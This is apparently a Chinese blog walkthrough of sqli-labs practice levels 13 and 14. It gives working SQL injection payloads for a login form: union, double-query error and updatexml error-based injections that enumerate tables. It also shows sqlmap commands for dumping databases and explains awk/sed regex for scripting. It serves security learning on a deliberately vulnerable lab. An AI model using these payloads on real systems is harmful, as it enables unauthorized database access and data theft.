sqlilabs less13~14

手动和脚本

在这里插入图片描述
很明显,精准的报错给了我们想要的东西。
构造以下SQL语句

select * from table where uname = ('') and password = ('')

查询表的时候发现没有返回,只有登陆成功

1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #

在这里插入图片描述

在构造语句的时候发现似乎能利用报错注入
在这里插入图片描述

1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
通过修改limit n,1的n来查询不同行

因为这个双注入是随机性,可能需要几次才能成功
在这里插入图片描述

字段名和数据同理,可以考虑burp suite 或者写个脚本。
在这里插入图片描述

在这里插入图片描述
嗯,来解释一下awk sed tr作用吧

awk -F 分隔符(比如“ > ”)以 > 为分隔符,从开头到第一个分隔符 > 为1,从第一个 > 到第二个为2…… {print$n} n是第n个 1就是从头到第一个分隔符
tr a b 是把a替换为b
sed ‘s/a/b/g’ s是替代 把a替换为b g是s替换命令里面的一个标记作用是替换所有的a,如果不加g只替换第一个a

‘s/(.*),/\1,/’ 会查找最后一个,替换为空 为什么呢
因为 .是匹配换行符以外单个字符, ,加上后面的单独字符
在这里插入图片描述

是重复前面的匹配N次或者0次 因为第一次是,真 再重复一次就是,真后面的单独字符 ,真好 因为重复N次所以,后面全部(除了换行符)全部都能匹配
在这里插入图片描述
于是我们给.
加上括号表示子表达式的开始和结束 因为没有限制所以匹配的是全体
在这里插入图片描述
然后如果我在(.*)后面加上一个英文逗号就变成了匹配末尾有英文逗号的那部分
在这里插入图片描述
是不是可以把最后一个英文逗号替换掉呢 上机试试!
在这里插入图片描述
可以看到替换掉了英文逗号以及它之前所有的字符,因为前两行末尾是英文逗号所以全行都被替换为感叹号,而第三行末尾是一串字符所以只有英文逗号之前被替换为感叹号了。那怎么不对啊。仔细想想,它匹配的是最后一个英文逗号以及它之前所有的,如果我把匹配的替换为匹配的会怎么样(注意\1会捕捉第一个()内的指定字符 \2则是第二个()内的)
在这里插入图片描述
是不是最后一个英文逗号没了

再来举个例子
在这里插入图片描述

把括号内的ab加上外面的c 也就是abc(注意后面没有加g,所以只替换第一个abc)替换为\1所引用的第一个括号内的字符ab,使用\2呢,就是把第一个abc替换为c
在这里插入图片描述

推荐自己动手加强理解

基于错误

前期构造sql语句打database时候打错意外发现还可能有基于错误的注入
在这里插入图片描述

1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

在这里插入图片描述

sqlmap

先抓包然后保存在文本文件 使用

sqlmap -r xx.txt

在这里插入图片描述
然后用 -dbs 、-D database_name -tables 和 -D database_name -T table_name --dump
h

less-14

less14和less13同理 sql语句由英文单引号加括号变成了英文双引号
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值